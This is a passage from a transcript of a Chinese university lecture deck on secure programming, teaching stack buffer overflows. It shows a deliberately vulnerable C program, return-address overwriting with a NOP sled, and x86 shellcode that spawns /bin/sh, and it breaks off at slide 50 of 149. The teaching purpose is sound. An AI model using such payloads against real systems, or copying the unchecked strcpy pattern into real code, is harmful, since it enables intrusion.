1 / 149

安全程序设计

网络与信息安全课程. 安全程序设计. 唐礼勇 tly@infosec.pku.edu.cn. 2003/5/21 北京大学. 现实中的一些安全问题. 现实中的一些安全问题. 我的 口令就是我的用户名后加上 123. 现实中的一些安全问题. 我的 口令就是我的用户名后加上 123. 我的口令是 Q47pY!3 ,每隔 90 天就更换一次. 现实中的一些安全问题. 强而有效的不可破解的加密技术随处均可得 到(尽管有各种各样的进出口限制) 不攻击加密技术,攻击其应用的底层基础设施 不攻击加密技术,攻击其实现 不攻击加密技术,而从用户方面入手.

evers
Télécharger la présentation

安全程序设计

An Image/Link below is provided (as is) to download presentation Download Policy: Content on the Website is provided to you AS IS for your information and personal use and may not be sold / licensed / shared on other websites without getting consent from its author. Content is provided to you AS IS for your information and personal use only. Download presentation by click this link. While downloading, if for some reason you are not able to download a presentation, the publisher may have deleted the file from their server. During download, if you can't get a presentation, the file might be deleted by the publisher.

E N D

Presentation Transcript


  1. 网络与信息安全课程 安全程序设计 唐礼勇 tly@infosec.pku.edu.cn 2003/5/21 北京大学

  2. 现实中的一些安全问题

  3. 现实中的一些安全问题 我的 口令就是我的用户名后加上123

  4. 现实中的一些安全问题 我的 口令就是我的用户名后加上123 我的口令是Q47pY!3,每隔90天就更换一次

  5. 现实中的一些安全问题 • 强而有效的不可破解的加密技术随处均可得 到(尽管有各种各样的进出口限制) • 不攻击加密技术,攻击其应用的底层基础设施 • 不攻击加密技术,攻击其实现 • 不攻击加密技术,而从用户方面入手

  6. Why Security is Harder than it Looks • 所有软件都是有错的 • 通常情况下99.99%无错的程序很少会出问题 • 同安全相关的99.99%无错的程序可以确信会被人利用那0.01%的错误 • 0.01%安全问题等于100%的失败

  7. 从几个程序谈起 Burning yourself with malicious data

  8. Segmentation Fault (core dumped)

  9. 程序运行平台 • Redhat Linux 8.0 • Kernel 2.4.18 • GNU gcc 3.2

  10. 第一个程序 #include <stdio.h> #include <string.h> void SayHello(char* name) { char tmpName[80]; strcpy(tmpName, name); /* Do some checks for tmpName. */ printf("Hello %s\n", tmpName); } int main(int argc, char** argv) { if (argc != 2) { printf("Usage: hello <name>.\n"); return 1; } SayHello(argv[1]); return 0; } hello.c

  11. 运行情况 $ ./hello computer Hello computer hello.c

  12. 运行情况 $ ./hello computer Hello computer $ ./hello aaaa………………………………………………………….a Hello aaaa……………………………………………………………….a Segmentation fault (core dumped) hello.c

  13. 运行情况 $ ./hello computer Hello computer $ ./hello aaaa………………………………………………………….a Hello aaaa……………………………………………………………….a Segmentation fault (core dumped) Why???? hello.c

  14. 检查一下程序 #include <stdio.h> #include <string.h> void SayHello(char* name) { char tmpName[80]; strcpy(tmpName, name); /* Do some checks for tmpName. */ printf("Hello %s\n", tmpName); } int main(int argc, char** argv) { if (argc != 2) { printf("Usage: hello <name>.\n"); return 1; } SayHello(argv[1]); return 0; } hello.c

  15. 进一步思考…… 发生了什么事?

  16. 几个要点 • Linux及其它几乎所有Intel x86系统、Solaris, etc • 分页式存储管理 • 平面内存结构,4GB或更大逻辑地址空间 • 栈从下往上生长 • C语言不进行边界检查

  17. 0x00000000 代码区 数据区 堆 栈段 字符串向下生长 栈段向上生长 0xFFFFFFFF 进程内存布局

  18. ESP main函数局部变量区 lastfp retip argc argv env …... 调用SayHello之前的栈 main栈帧

  19. 进入SayHello后的栈 ESP tmpName[80] main-fp retip name main栈帧 …... SayHello栈帧

  20. main中return 0; 准备退出SayHello的栈(情况1) ./hello computer ESP computer.………….. main-fp retip name main栈帧 …... SayHello栈帧

  21. retip 准备退出SayHello的栈(情况2) ./hello aaaaaa……………………………….a ESP aaaaaaaaaaaaaaaaaa ……aaaaaaaa 0x61616161 0x61616161 0x61616161 main栈帧 …... SayHello栈帧 ???????

  22. 如果精心选择数据……...

  23. retip 如果精心选择数据……... ESP SayHello栈帧

  24. retip 0xNNNNNNNN 如果精心选择数据……... ESP ??????????????????? ………..???? 0x???????? 0xNNNNNNNN 0x???????? ………... ………... ………... SayHello栈帧

  25. retip 0xNNNNNNNN 如果精心选择数据……... ESP ??????????????????? ………..???? 0x???????? 0xNNNNNNNN 0x???????? ………... ………... Our-Codes SayHello栈帧

  26. 如何选择这些数据? • 几个问题: • SayHello函数局部变量区大小?

  27. 如何选择这些数据? • 几个问题: • SayHello函数局部变量区大小? • NNNNNNNN如何确定?

  28. 如何选择这些数据? • 几个问题: • SayHello函数局部变量区大小? • NNNNNNNN如何确定? • Our codes该怎样写

  29. 如何选择这些数据? • 几个问题: • SayHello函数局部变量区大小? • NNNNNNNN如何确定? • Our codes该怎样写 • 输入缓冲区不能包含0

  30. retip 0xNNNNNNNN 局部变量区问题 ESP ??????????????????? ………..???? 0x???????? 0xNNNNNNNN 0x???????? ………... ………... Our-Codes SayHello栈帧

  31. retip 0xNNNNNNNN 局部变量区问题 ESP 0xNNNNNNNN ………..NNNN 0xNNNNNNNN 0xNNNNNNNN 0xNNNNNNNN 0xNNNNNNNN 0xNNNNNNNN Our-Codes SayHello栈帧

  32. retip 0xNNNNNNNN 代码起始地址如何确定? <4K ESP 0xNNNNNNNN ………..NNNN 0xNNNNNNNN 0xNNNNNNNN 0xNNNNNNNN 0xNNNNNNNN 0xNNNNNNNN Our-Codes SayHello栈帧

  33. 代码起始地址如何确定 • 问题已转化为用ESP加上某一偏移

  34. 代码起始地址如何确定 • 问题已转化为用ESP加上某一偏移 • 该偏移不需要精确

  35. retip 0xNNNNNNNN 为什么偏移不需要精确? ESP 0xNNNNNNNN ………..NNNN 0xNNNNNNNN 0xNNNNNNNN 0xNNNNNNNN 0xNNNNNNNN ……….NNNNN NOP NOP …….. NOP Real-Codes SayHello栈帧

  36. 代码起始地址如何确定 • 问题已转化为用ESP加上某一偏移 • 该偏移不需要精确 • ESP如何确定呢

  37. 代码起始地址如何确定 • 问题已转化为用ESP加上某一偏移 • 该偏移不需要精确 • ESP如何确定呢 • 用同样选项,插入一段代码,重新编译

  38. 代码起始地址如何确定 • 问题已转化为用ESP加上某一偏移 • 该偏移不需要精确 • ESP如何确定呢 • 用同样选项,插入一段代码,重新编译 • 使用调试工具跟踪应用程序

  39. 代码起始地址如何确定 • 问题已转化为用ESP加上某一偏移 • 该偏移不需要精确 • ESP如何确定呢 • 用同样选项,插入一段代码,重新编译 • 使用调试工具跟踪应用程序 • 编一小程序,打印出运行时栈顶位置

  40. 代码起始地址如何确定 • 问题已转化为用ESP加上某一偏移 • 该偏移不需要精确 • ESP如何确定呢 • 用同样选项,插入一段代码,重新编译 • 使用调试工具跟踪应用程序 • 编一小程序,打印出运行时栈顶位置 • 在同样环境下,不同进程之间栈位置距离不会太远

  41. 植入代码如何编写

  42. jmp label2 label1: pop esi mov [esi+8], esi xor eax, eax mov [esi+7], al mov [esi+12], eax mov al, 0bh mov ebx, esi lea ecx, [esi+8] lea edx, [esi+12] int 80h xor ebx, ebx mov eax, ebx inc eax int 80h label2: call label1 cmd: db “/bin/sh”, 0 植入代码如何编写

  43. jmp label2 label1: pop esi mov [esi+8], esi xor eax, eax mov [esi+7], al mov [esi+12], eax mov al, 0bh mov ebx, esi lea ecx, [esi+8] lea edx, [esi+12] int 80h xor ebx, ebx mov eax, ebx inc eax int 80h label2: call label1 cmd: db “/bin/sh”, 0 植入代码如何编写

  44. jmp label2 label1: pop esi mov [esi+8], esi xor eax, eax mov [esi+7], al mov [esi+12], eax mov al, 0bh mov ebx, esi lea ecx, [esi+8] lea edx, [esi+12] int 80h xor ebx, ebx mov eax, ebx inc eax int 80h label2: call label1 cmd: db “/bin/sh”, 0 植入代码如何编写

  45. jmp label2 label1: pop esi mov [esi+8], esi xor eax, eax mov [esi+7], al mov [esi+12], eax mov al, 0bh mov ebx, esi lea ecx, [esi+8] lea edx, [esi+12] int 80h xor ebx, ebx mov eax, ebx inc eax int 80h label2: call label1 cmd: db “/bin/sh”, 0 植入代码如何编写 esi == cmd

  46. jmp label2 label1: pop esi mov [esi+8], esi xor eax, eax mov [esi+7], al mov [esi+12], eax mov al, 0bh mov ebx, esi lea ecx, [esi+8] lea edx, [esi+12] int 80h xor ebx, ebx mov eax, ebx inc eax int 80h label2: call label1 cmd: db “/bin/sh”, 0 植入代码如何编写 esi == cmd

  47. jmp label2 label1: pop esi mov [esi+8], esi xor eax, eax mov [esi+7], al mov [esi+12], eax mov al, 0bh mov ebx, esi lea ecx, [esi+8] lea edx, [esi+12] int 80h xor ebx, ebx mov eax, ebx inc eax int 80h label2: call label1 cmd: db “/bin/sh”, 0 esi+8: cmd 植入代码如何编写 esi == cmd

  48. jmp label2 label1: pop esi mov [esi+8], esi xor eax, eax mov [esi+7], al mov [esi+12], eax mov al, 0bh mov ebx, esi lea ecx, [esi+8] lea edx, [esi+12] int 80h xor ebx, ebx mov eax, ebx inc eax int 80h label2: call label1 cmd: db “/bin/sh”, 0 esi+8: cmd 植入代码如何编写 esi == cmd

  49. jmp label2 label1: pop esi mov [esi+8], esi xor eax, eax mov [esi+7], al mov [esi+12], eax mov al, 0bh mov ebx, esi lea ecx, [esi+8] lea edx, [esi+12] int 80h xor ebx, ebx mov eax, ebx inc eax int 80h label2: call label1 cmd: db “/bin/sh”, 0 esi+8: cmd 植入代码如何编写 esi == cmd

  50. jmp label2 label1: pop esi mov [esi+8], esi xor eax, eax mov [esi+7], al mov [esi+12], eax mov al, 0bh mov ebx, esi lea ecx, [esi+8] lea edx, [esi+12] int 80h xor ebx, ebx mov eax, ebx inc eax int 80h label2: call label1 cmd: db “/bin/sh”, 0 esi+8: cmd, 0 植入代码如何编写 esi == cmd

More Related